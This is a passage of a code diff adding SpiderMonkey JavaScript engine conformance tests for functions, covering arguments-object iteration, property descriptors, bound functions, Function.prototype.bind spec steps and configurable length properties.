+ assertEq(desc.value, Array.prototype[Symbol.iterator]);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ },
+ function(a, b, c) {
+ var iter = arguments[Symbol.iterator]();
+ assertDeepEq(iter.next(), { value: 10, done: false });
+ assertDeepEq(iter.next(), { value: 20, done: false });
+ assertDeepEq(iter.next(), { value: 30, done: false });
+ assertDeepEq(iter.next(), { value: undefined, done: true });
+ },
+ function(a, b, c) {
+ assertDeepEq([...arguments], [10, 20, 30]);
+ },
+ function(a, b, c) {
+ b = 40;
+ assertDeepEq([...arguments], [10, 40, 30]);
+ },
+ function(a, b, c) {
+ arguments.length = 4;
+ assertDeepEq([...arguments], [10, 20, 30, undefined]);
+ },
+ function(a, b, c) {
+ arguments[5] = 50;
+ assertDeepEq([...arguments], [10, 20, 30]);
+ },
+ function(a, b, c) {
+ arguments[Symbol.iterator] = function*() {
+ yield 40;
+ yield 50;
+ yield 60;
+ };
+ assertDeepEq([...arguments], [40, 50, 60]);
+ },
+];
+for (let f of mapped) {
+ f(10, 20, 30);
+}
+
+var g1 = newGlobal();
+assertEq(g1.eval(`
+function f(a, b, c) {
+ return arguments[Symbol.iterator].name;
+}
+f(1, 2, 3);
+`), "values");
+
+// UnmappedArgumentsObject
+let unmapped = [
+ function([a], b, c) {
+ assertEq(Symbol.iterator in arguments, true);
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ arguments[Symbol.iterator] = 10;
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ Object.defineProperty(arguments, Symbol.iterator, {
+ value: 10, writable: true, enumerable: true, configurable: true
+ });
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ assertEq(arguments[Symbol.iterator], Array.prototype[Symbol.iterator]);
+ },
+ function([a], b, c) {
+ assertEq(arguments[Symbol.iterator].name, "values");
+ },
+ function([a], b, c) {
+ var desc = Object.getOwnPropertyDescriptor(arguments, Symbol.iterator);
+ assertEq("value" in desc, true);
+ assertEq(desc.value, Array.prototype[Symbol.iterator]);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ },
+ function([a], b, c) {
+ var iter = arguments[Symbol.iterator]();
+ assertDeepEq(iter.next(), { value: [10], done: false });
+ assertDeepEq(iter.next(), { value: 20, done: false });
+ assertDeepEq(iter.next(), { value: 30, done: false });
+ assertDeepEq(iter.next(), { value: undefined, done: true });
+ },
+ function([a], b, c) {
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ b = 40;
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ arguments.length = 4;
+ assertDeepEq([...arguments], [[10], 20, 30, undefined]);
+ },
+ function([a], b, c) {
+ arguments[5] = 50;
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ arguments[Symbol.iterator] = function*() {
+ yield 40;
+ yield 50;
+ yield 60;
+ };
+ assertDeepEq([...arguments], [40, 50, 60]);
+ },
+];
+for (let f of unmapped) {
+ f([10], 20, 30);
+}
+
+var g2 = newGlobal();
+assertEq(g2.eval(`
+function f([a], b, c) {
+ return arguments[Symbol.iterator].name;
+}
+f([1], 2, 3);
+`), "values");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/arguments-parameter-shadowing.js b/js/src/tests/non262/Function/arguments-parameter-shadowing.js
new file mode 100644
index 0000000000..bc2b430112
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-parameter-shadowing.js
@@ -0,0 +1,22 @@
+// Test that var declarations of arguments "shadows" the arguments binding
+// used in parameter expressions.
+
+function g8(h = () => arguments) {
+ var arguments = 0;
+ assertEq(arguments, 0);
+ assertEq(arguments === h(), false);
+}
+g8();
+
+function g9(h = () => arguments) {
+ var arguments;
+ assertEq(void 0 === arguments, false);
+ assertEq(h(), arguments);
+ arguments = 0;
+ assertEq(arguments, 0);
+ assertEq(arguments === h(), false);
+}
+g9();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/arguments-property-attributes.js b/js/src/tests/non262/Function/arguments-property-attributes.js
new file mode 100644
index 0000000000..f50c1e6dad
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-property-attributes.js
@@ -0,0 +1,98 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'arguments-property-attributes.js';
+var BUGNUMBER = 516255;
+var summary = "Attributes for properties of arguments objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// normal
+
+function args() { return arguments; }
+var a = args(0, 1);
+
+var argProps = Object.getOwnPropertyNames(a).sort();
+assertEq(argProps.indexOf("callee") >= 0, true);
+assertEq(argProps.indexOf("0") >= 0, true);
+assertEq(argProps.indexOf("1") >= 0, true);
+assertEq(argProps.indexOf("length") >= 0, true);
+
+var calleeDesc = Object.getOwnPropertyDescriptor(a, "callee");
+assertEq(calleeDesc.value, args);
+assertEq(calleeDesc.writable, true);
+assertEq(calleeDesc.enumerable, false);
+assertEq(calleeDesc.configurable, true);
+
+var zeroDesc = Object.getOwnPropertyDescriptor(a, "0");
+assertEq(zeroDesc.value, 0);
+assertEq(zeroDesc.writable, true);
+assertEq(zeroDesc.enumerable, true);
+assertEq(zeroDesc.configurable, true);
+
+var oneDesc = Object.getOwnPropertyDescriptor(a, "1");
+assertEq(oneDesc.value, 1);
+assertEq(oneDesc.writable, true);
+assertEq(oneDesc.enumerable, true);
+assertEq(oneDesc.configurable, true);
+
+var lengthDesc = Object.getOwnPropertyDescriptor(a, "length");
+assertEq(lengthDesc.value, 2);
+assertEq(lengthDesc.writable, true);
+assertEq(lengthDesc.enumerable, false);
+assertEq(lengthDesc.configurable, true);
+
+
+// strict
+
+function strictArgs() { "use strict"; return arguments; }
+var sa = strictArgs(0, 1);
+
+var strictArgProps = Object.getOwnPropertyNames(sa).sort();
+assertEq(strictArgProps.indexOf("callee") >= 0, true);
+assertEq(strictArgProps.indexOf("caller") >= 0, false);
+assertEq(strictArgProps.indexOf("0") >= 0, true);
+assertEq(strictArgProps.indexOf("1") >= 0, true);
+assertEq(strictArgProps.indexOf("length") >= 0, true);
+
+var strictCalleeDesc = Object.getOwnPropertyDescriptor(sa, "callee");
+assertEq(typeof strictCalleeDesc.get, "function");
+assertEq(typeof strictCalleeDesc.set, "function");
+assertEq(strictCalleeDesc.get, strictCalleeDesc.set);
+assertEq(strictCalleeDesc.enumerable, false);
+assertEq(strictCalleeDesc.configurable, false);
+
+var strictCallerDesc = Object.getOwnPropertyDescriptor(sa, "caller");
+assertEq(strictCallerDesc, undefined);
+
+var strictZeroDesc = Object.getOwnPropertyDescriptor(sa, "0");
+assertEq(strictZeroDesc.value, 0);
+assertEq(strictZeroDesc.writable, true);
+assertEq(strictZeroDesc.enumerable, true);
+assertEq(strictZeroDesc.configurable, true);
+
+var strictOneDesc = Object.getOwnPropertyDescriptor(sa, "1");
+assertEq(strictOneDesc.value, 1);
+assertEq(strictOneDesc.writable, true);
+assertEq(strictOneDesc.enumerable, true);
+assertEq(strictOneDesc.configurable, true);
+
+var strictLengthDesc = Object.getOwnPropertyDescriptor(sa, "length");
+assertEq(strictLengthDesc.value, 2);
+assertEq(strictLengthDesc.writable, true);
+assertEq(strictLengthDesc.enumerable, false);
+assertEq(strictLengthDesc.configurable, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/arrow-has-duplicated.js b/js/src/tests/non262/Function/arrow-has-duplicated.js
new file mode 100644
index 0000000000..19096ebf88
--- /dev/null
+++ b/js/src/tests/non262/Function/arrow-has-duplicated.js
@@ -0,0 +1,15 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a, a) {
+}
+
+// SyntaxError should be thrown if arrow function has duplicated name.
+assertThrowsInstanceOf(() => eval(`
+(a, a) => {
+};
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+(a, ...a) => {
+};
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/bound-length-and-name.js b/js/src/tests/non262/Function/bound-length-and-name.js
new file mode 100644
index 0000000000..ef2f1ffbcd
--- /dev/null
+++ b/js/src/tests/non262/Function/bound-length-and-name.js
@@ -0,0 +1,40 @@
+var proxy = new Proxy(function() {}, {
+ getOwnPropertyDescriptor(target, name) {
+ assertEq(name, "length");
+ return {value: 3, configurable: true};
+ },
+
+ get(target, name) {
+ if (name == "length")
+ return 3;
+ if (name == "name")
+ return "hello world";
+ assertEq(false, true);
+ }
+})
+
+var bound = Function.prototype.bind.call(proxy);
+assertEq(bound.name, "bound hello world");
+assertEq(bound.length, 3);
+
+var fun = function() {};
+Object.defineProperty(fun, "name", {value: 1337});
+Object.defineProperty(fun, "length", {value: "15"});
+bound = fun.bind();
+assertEq(bound.name, "bound ");
+assertEq(bound.length, 0);
+
+Object.defineProperty(fun, "length", {value: Number.MAX_SAFE_INTEGER});
+bound = fun.bind();
+assertEq(bound.length, Number.MAX_SAFE_INTEGER);
+
+Object.defineProperty(fun, "length", {value: -100});
+bound = fun.bind();
+assertEq(bound.length, 0);
+
+fun = function f(a, ...b) { };
+assertEq(fun.length, 1);
+bound = fun.bind();
+assertEq(bound.length, 1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/bound-non-constructable.js b/js/src/tests/non262/Function/bound-non-constructable.js
new file mode 100644
index 0000000000..cee1dd580d
--- /dev/null
+++ b/js/src/tests/non262/Function/bound-non-constructable.js
@@ -0,0 +1,17 @@
+var objects = [
+ Math.sin.bind(null),
+ new Proxy(Math.sin.bind(null), {}),
+ Function.prototype.bind.call(new Proxy(Math.sin, {}))
+]
+
+for (var obj of objects) {
+ // Target is not constructable, so a new array should be created internally.
+ assertDeepEq(Array.from.call(obj, [1, 2, 3]), [1, 2, 3]);
+ assertDeepEq(Array.of.call(obj, 1, 2, 3), [1, 2, 3]);
+
+ // Make sure they are callable, but not constructable.
+ obj();
+ assertThrowsInstanceOf(() => new obj, TypeError);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/bound-prototype.js b/js/src/tests/non262/Function/bound-prototype.js
new file mode 100644
index 0000000000..8b0f295a58
--- /dev/null
+++ b/js/src/tests/non262/Function/bound-prototype.js
@@ -0,0 +1,37 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function Bound(fn) {
+ return Function.prototype.bind.call(fn);
+}
+
+var fnDefaultPrototype = function(){};
+assertEq(Object.getPrototypeOf(Bound(fnDefaultPrototype)), Function.prototype);
+
+var fnGeneratorPrototype = function*(){};
+assertEq(Object.getPrototypeOf(Bound(fnGeneratorPrototype)), function*(){}.constructor.prototype);
+
+var fnCustomPrototype = Object.setPrototypeOf(function(){}, Array.prototype);
+assertEq(Object.getPrototypeOf(Bound(fnCustomPrototype)), Array.prototype);
+
+var fnNullPrototype = Object.setPrototypeOf(function(){}, null);
+assertEq(Object.getPrototypeOf(Bound(fnNullPrototype)), null);
+
+
+function LoggingProxy(target) {
+ var log = [];
+ var proxy = new Proxy(target, new Proxy({}, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ }
+ }));
+ return {proxy, log};
+}
+
+var {proxy, log} = LoggingProxy(function(){});
+Bound(proxy);
+assertEqArray(log, ["getPrototypeOf", "getOwnPropertyDescriptor", "get", "get"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/browser.js b/js/src/tests/non262/Function/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Function/browser.js
diff --git a/js/src/tests/non262/Function/builtin-no-construct.js b/js/src/tests/non262/Function/builtin-no-construct.js
new file mode 100644
index 0000000000..b41ae56f11
--- /dev/null
+++ b/js/src/tests/non262/Function/builtin-no-construct.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function checkMethod(method) {
+ try {
+ new method();
+ assertEq(0, 1, "not reached " + method);
+ } catch (e) {
+ assertEq(e.message.indexOf(" is not a constructor") === -1, false);
+ }
+}
+
+function checkMethods(proto) {
+ var names = Object.getOwnPropertyNames(proto);
+ for (var i = 0; i < names.length; i++) {
+ var name = names[i];
+ if (["constructor", "arguments", "caller"].indexOf(name) >= 0)
+ continue;
+ var prop = proto[name];
+ if (typeof prop === "function")
+ checkMethod(prop);
+ }
+}
+
+checkMethod(Function.prototype);
+checkMethods(JSON);
+checkMethods(Math);
+checkMethods(Proxy);
+
+var builtin_ctors = [
+ Object, Function, Array, String, Boolean, Number, Date, RegExp, Error,
+ EvalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError,
+];
+
+for (var i = 0; i < builtin_ctors.length; i++) {
+ checkMethods(builtin_ctors[i]);
+ checkMethods(builtin_ctors[i].prototype);
+}
+
+var builtin_funcs = [
+ eval, isFinite, isNaN, parseFloat, parseInt,
+ decodeURI, decodeURIComponent, encodeURI, encodeURIComponent
+];
+
+for (var i = 0; i < builtin_funcs.length; i++) {
+ checkMethod(builtin_funcs[i]);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Function/builtin-no-prototype.js b/js/src/tests/non262/Function/builtin-no-prototype.js
new file mode 100644
index 0000000000..b5a8cc9f6e
--- /dev/null
+++ b/js/src/tests/non262/Function/builtin-no-prototype.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(undefined, void 0);
+
+assertEq(Function.prototype.hasOwnProperty('prototype'), false);
+assertEq(Function.prototype.prototype, undefined);
+
+var builtin_ctors = [
+ Object, Function, Array, String, Boolean, Number, Date, RegExp, Error,
+ EvalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError
+];
+
+for (var i = 0; i < builtin_ctors.length; i++) {
+ var c = builtin_ctors[i];
+ assertEq(typeof c.prototype, (c === Function) ? "function" : "object");
+ assertEq(c.prototype.constructor, c);
+}
+
+var builtin_funcs = [
+ eval, isFinite, isNaN, parseFloat, parseInt,
+ decodeURI, decodeURIComponent, encodeURI, encodeURIComponent
+];
+
+for (var i = 0; i < builtin_funcs.length; i++) {
+ assertEq(builtin_funcs[i].hasOwnProperty('prototype'), false);
+ assertEq(builtin_funcs[i].prototype, undefined);
+}
+
+var names = Object.getOwnPropertyNames(Math);
+for (var i = 0; i < names.length; i++) {
+ var m = Math[names[i]];
+ if (typeof m === "function")
+ assertEq(m.prototype, undefined);
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/non262/Function/configurable-length-builtins.js b/js/src/tests/non262/Function/configurable-length-builtins.js
new file mode 100644
index 0000000000..f28eaae157
--- /dev/null
+++ b/js/src/tests/non262/Function/configurable-length-builtins.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Deleting .length from a variety of builtin functions works as expected.
+for (var fun of [Math.sin, Array.prototype.map, eval]) {
+ assertEq(delete fun.length, true);
+ assertEq(fun.hasOwnProperty("length"), false);
+ assertEq("length" in fun, true); // still inheriting Function.prototype.length
+ assertEq(fun.length, 0);
+
+ // The inherited property is nonwritable, so assigning still fails
+ // (silently, in sloppy mode).
+ fun.length = Math.hypot;
+ assertEq(fun.length, 0);
+
+ // It can be shadowed via defineProperty.
+ Object.defineProperty(fun, "length", {value: Math.hypot});
+ assertEq(fun.length, Math.hypot);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/configurable-length.js b/js/src/tests/non262/Function/configurable-length.js
new file mode 100644
index 0000000000..127038fb56
--- /dev/null
+++ b/js/src/tests/non262/Function/configurable-length.js
@@ -0,0 +1,86 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Very simple initial test that the "length" property of a function is
+// configurable. More thorough tests follow.
+var f = function (a1, a2, a3, a4) {};
+assertEq(delete f.length, true);
+assertEq(f.hasOwnProperty("length"), false);
+assertEq(f.length, 0); // inherited from Function.prototype.length
+assertEq(delete Function.prototype.length, true);
+assertEq(f.length, undefined);
+
+
+// Now for the details.
+//
+// Many of these tests are poking at the "resolve hook" mechanism SM uses to
+// lazily create this property, which is wonky and deserving of some extra
+// skepticism.
+
+// We've deleted Function.prototype.length. Check that the resolve hook does
+// not resurrect it.
+assertEq("length" in Function.prototype, false);
+Function.prototype.length = 7;
+assertEq(Function.prototype.length, 7);
+delete Function.prototype.length;
+assertEq(Function.prototype.length, undefined);
+
+// OK, define Function.prototype.length back to its original state per spec, so
+// the remaining tests can run in a more typical environment.
+Object.defineProperty(Function.prototype, "length", {value: 0, configurable: true});
+
+// Check the property descriptor of a function length property.
+var g = function f(a1, a2, a3, a4, a5) {};
+var desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+assertEq(desc.value, 5);
+
+// After deleting the length property, assigning to f.length fails because
+// Function.prototype.length is non-writable. In strict mode it would throw.
+delete g.length;
+g.length = 12;
+assertEq(g.hasOwnProperty("length"), false);
+assertEq(g.length, 0);
+
+// After deleting both the length property and Function.prototype.length,
+// assigning to f.length creates a new plain old data property.
+delete Function.prototype.length;
+g.length = 13;
+var desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, 13);
+
+// Deleting the .length of one instance of a FunctionDeclaration does not
+// affect other instances.
+function mkfun() {
+ function fun(a1, a2, a3, a4, a5) {}
+ return fun;
+}
+g = mkfun();
+var h = mkfun();
+delete h.length;
+assertEq(g.length, 5);
+assertEq(mkfun().length, 5);
+
+// Object.defineProperty on a brand-new function is sufficient to cause the
+// LENGTH_RESOLVED flag to be set.
+g = mkfun();
+Object.defineProperty(g, "length", {value: 0});
+assertEq(delete g.length, true);
+assertEq(g.hasOwnProperty("length"), false);
+
+// Object.defineProperty on a brand-new function correctly merges new
+// attributes with the builtin ones.
+g = mkfun();
+Object.defineProperty(g, "length", { value: 42 });
+desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+assertEq(desc.value, 42);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/construct-bound-proxy-with-many-arguments.js b/js/src/tests/non262/Function/construct-bound-proxy-with-many-arguments.js
new file mode 100644
index 0000000000..6c9bb41a38
--- /dev/null
+++ b/js/src/tests/non262/Function/construct-bound-proxy-with-many-arguments.js
@@ -0,0 +1,13 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var proxy = Function.prototype.bind.call(new Proxy(Array, {}));
+for (var i = 10; i < 50; ++i) {
+ var args = Array(i).fill(i);
+ var array = new proxy(...args);
+ assertEqArray(array, args);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Function/constructor-binding.js b/js/src/tests/non262/Function/constructor-binding.js
new file mode 100644
index 0000000000..e82274d279
--- /dev/null
+++ b/js/src/tests/non262/Function/constructor-binding.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 636635;
+var summary = "A function created by Function constructor shouldn't have anonymous binding";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(new Function("return typeof anonymous")(), "undefined");
+assertEq(new Function("return function() { return typeof anonymous; }")()(), "undefined");
+assertEq(new Function("return function() { eval(''); return typeof anonymous; }")()(), "undefined");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/create-function-parse-before-getprototype.js b/js/src/tests/non262/Function/create-function-parse-before-getprototype.js
new file mode 100644
index 0000000000..2095abfb28
--- /dev/null
+++ b/js/src/tests/non262/Function/create-function-parse-before-getprototype.js
@@ -0,0 +1,17 @@
+var getProtoCalled = false;
+
+var newTarget = Object.defineProperty(function(){}.bind(), "prototype", {
+ get() {
+ getProtoCalled = true;
+ return null;
+ }
+});
+
+assertThrowsInstanceOf(() => {
+ Reflect.construct(Function, ["@error"], newTarget);
+}, SyntaxError);
+
+assertEq(getProtoCalled, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/function-bind.js b/js/src/tests/non262/Function/function-bind.js
new file mode 100644
index 0000000000..9fdaf41a97
--- /dev/null
+++ b/js/src/tests/non262/Function/function-bind.js
@@ -0,0 +1,280 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'function-bind.js';
+var BUGNUMBER = 429507;
+var summary = "ES5: Function.prototype.bind";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// ad-hoc testing
+
+assertEq(Function.prototype.hasOwnProperty("bind"), true);
+
+var bind = Function.prototype.bind;
+assertEq(bind.length, 1);
+
+
+var strictReturnThis = function() { "use strict"; return this; };
+
+assertEq(strictReturnThis.bind(undefined)(), undefined);
+assertEq(strictReturnThis.bind(null)(), null);
+
+var obj = {};
+assertEq(strictReturnThis.bind(obj)(), obj);
+
+assertEq(strictReturnThis.bind(NaN)(), NaN);
+
+assertEq(strictReturnThis.bind(true)(), true);
+assertEq(strictReturnThis.bind(false)(), false);
+
+assertEq(strictReturnThis.bind("foopy")(), "foopy");
+
+
+// rigorous, step-by-step testing
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+/*
+ * 1. Let Target be the this value.
+ * 2. If IsCallable(Target) is false, throw a TypeError exception.
+ */
+expectThrowTypeError(function() { bind.call(null); });
+expectThrowTypeError(function() { bind.call(undefined); });
+expectThrowTypeError(function() { bind.call(NaN); });
+expectThrowTypeError(function() { bind.call(0); });
+expectThrowTypeError(function() { bind.call(-0); });
+expectThrowTypeError(function() { bind.call(17); });
+expectThrowTypeError(function() { bind.call(42); });
+expectThrowTypeError(function() { bind.call("foobar"); });
+expectThrowTypeError(function() { bind.call(true); });
+expectThrowTypeError(function() { bind.call(false); });
+expectThrowTypeError(function() { bind.call([]); });
+expectThrowTypeError(function() { bind.call({}); });
+
+
+/*
+ * 3. Let A be a new (possibly empty) internal list of all of the argument
+ * values provided after thisArg (arg1, arg2 etc), in order.
+ * 4. Let F be a new native ECMAScript object .
+ * 5. Set all the internal methods, except for [[Get]], of F as specified in
+ * 8.12.
+ * 6. Set the [[Get]] internal property of F as specified in 15.3.5.4.
+ * 7. Set the [[TargetFunction]] internal property of F to Target.
+ * 8. Set the [[BoundThis]] internal property of F to the value of thisArg.
+ * 9. Set the [[BoundArgs]] internal property of F to A.
+ */
+// throughout
+
+
+/* 10. Set the [[Class]] internal property of F to "Function". */
+var toString = Object.prototype.toString;
+assertEq(toString.call(function(){}), "[object Function]");
+assertEq(toString.call(function a(){}), "[object Function]");
+assertEq(toString.call(function(a){}), "[object Function]");
+assertEq(toString.call(function a(b){}), "[object Function]");
+assertEq(toString.call(function(){}.bind()), "[object Function]");
+assertEq(toString.call(function a(){}.bind()), "[object Function]");
+assertEq(toString.call(function(a){}.bind()), "[object Function]");
+assertEq(toString.call(function a(b){}.bind()), "[object Function]");
+
+
+/*
+ * 11. Set the [[Prototype]] internal property of F to the standard built-in
+ * Function prototype object as specified in 15.3.3.1.
+ */
+assertEq(Object.getPrototypeOf(bind.call(function(){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function a(){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function(a){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function a(b){})), Function.prototype);
+
+
+/*
+ * 12. Set the [[Call]] internal property of F as described in 15.3.4.5.1.
+ */
+var a = Array.bind(1, 2);
+assertEq(a().length, 2);
+assertEq(a(4).length, 2);
+assertEq(a(4, 8).length, 3);
+
+function t() { return this; }
+var bt = t.bind(t);
+assertEq(bt(), t);
+
+function callee() { return arguments.callee; }
+var call = callee.bind();
+assertEq(call(), callee);
+assertEq(new call(), callee);
+
+
+/*
+ * 13. Set the [[Construct]] internal property of F as described in 15.3.4.5.2.
+ */
+function Point(x, y)
+{
+ this.x = x;
+ this.y = y;
+}
+var YAxisPoint = Point.bind(null, 0)
+
+assertEq(YAxisPoint.hasOwnProperty("prototype"), false);
+var p = new YAxisPoint(5);
+assertEq(p.x, 0);
+assertEq(p.y, 5);
+assertEq(p instanceof Point, true);
+assertEq(p instanceof YAxisPoint, true);
+assertEq(Object.prototype.toString.call(YAxisPoint), "[object Function]");
+assertEq(YAxisPoint.length, 1);
+
+
+/*
+ * 14. Set the [[HasInstance]] internal property of F as described in
+ * 15.3.4.5.3.
+ */
+function JoinArguments()
+{
+ this.args = Array.prototype.join.call(arguments, ", ");
+}
+
+var Join1 = JoinArguments.bind(null, 1);
+var Join2 = Join1.bind(null, 2);
+var Join3 = Join2.bind(null, 3);
+var Join4 = Join3.bind(null, 4);
+var Join5 = Join4.bind(null, 5);
+var Join6 = Join5.bind(null, 6);
+
+var r = new Join6(7);
+assertEq(r instanceof Join6, true);
+assertEq(r instanceof Join5, true);
+assertEq(r instanceof Join4, true);
+assertEq(r instanceof Join3, true);
+assertEq(r instanceof Join2, true);
+assertEq(r instanceof Join1, true);
+assertEq(r instanceof JoinArguments, true);
+assertEq(r.args, "1, 2, 3, 4, 5, 6, 7");
+
+
+/*
+ * 15. If the [[Class]] internal property of Target is "Function", then
+ * a. Let L be the length property of Target minus the length of A.
+ * b. Set the length own property of F to either 0 or L, whichever is larger.
+ * 16. Else set the length own property of F to 0.
+ */
+function none() { return arguments.length; }
+assertEq(none.bind(1, 2)(3, 4), 3);
+assertEq(none.bind(1, 2)(), 1);
+assertEq(none.bind(1)(2, 3), 2);
+assertEq(none.bind().length, 0);
+assertEq(none.bind(null).length, 0);
+assertEq(none.bind(null, 1).length, 0);
+assertEq(none.bind(null, 1, 2).length, 0);
+
+function one(a) { }
+assertEq(one.bind().length, 1);
+assertEq(one.bind(null).length, 1);
+assertEq(one.bind(null, 1).length, 0);
+assertEq(one.bind(null, 1, 2).length, 0);
+
+// retch
+var br = Object.create(null, { length: { value: 0 } });
+try
+{
+ br = bind.call(/a/g, /a/g, "aaaa");
+}
+catch (e) { /* nothing */ }
+assertEq(br.length, 0);
+
+
+/*
+ * 17. Set the attributes of the length own property of F to the values
+ * specified in 15.3.5.1.
+ */
+var len1Desc =
+ Object.getOwnPropertyDescriptor(function(a, b, c){}.bind(), "length");
+assertEq(len1Desc.value, 3);
+assertEq(len1Desc.writable, false);
+assertEq(len1Desc.enumerable, false);
+assertEq(len1Desc.configurable, true);
+
+var len2Desc =
+ Object.getOwnPropertyDescriptor(function(a, b, c){}.bind(null, 2), "length");
+assertEq(len2Desc.value, 2);
+assertEq(len2Desc.writable, false);
+assertEq(len2Desc.enumerable, false);
+assertEq(len2Desc.configurable, true);
+
+
+/*
+ * 18. Set the [[Extensible]] internal property of F to true.
+ */
+var bound = (function() { }).bind();
+
+var isExtensible = Object.isExtensible || function() { return true; };
+assertEq(isExtensible(bound), true);
+
+bound.foo = 17;
+var fooDesc = Object.getOwnPropertyDescriptor(bound, "foo");
+assertEq(fooDesc.value, 17);
+assertEq(fooDesc.writable, true);
+assertEq(fooDesc.enumerable, true);
+assertEq(fooDesc.configurable, true);
+
+
+/*
+ * Steps 19-21 are removed from ES6, instead implemented through "arguments" and
+ * "caller" accessors on Function.prototype. So no own properties, but do check
+ * for the same observable behavior (modulo where the accessors live).
+ */
+function strict() { "use strict"; }
+function nonstrict() {}
+
+function testBound(fun)
+{
+ var boundf = fun.bind();
+
+ assertEq(Object.getOwnPropertyDescriptor(boundf, "arguments"), undefined,
+ "should be no arguments property");
+ assertEq(Object.getOwnPropertyDescriptor(boundf, "caller"), undefined,
+ "should be no caller property");
+
+ expectThrowTypeError(function() { return boundf.arguments; });
+ expectThrowTypeError(function() { return boundf.caller; });
+}
+
+testBound(strict);
+testBound(nonstrict);
+
+assertEq((function unbound(){"body"}).bind().toString(), `function() {
+ [native code]
+}`);
+
+
+/* 22. Return F. */
+var passim = function p(){}.bind(1);
+assertEq(typeof passim, "function");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/function-call.js b/js/src/tests/non262/Function/function-call.js
new file mode 100644
index 0000000000..756b583842
--- /dev/null
+++ b/js/src/tests/non262/Function/function-call.js
@@ -0,0 +1,134 @@
+/*
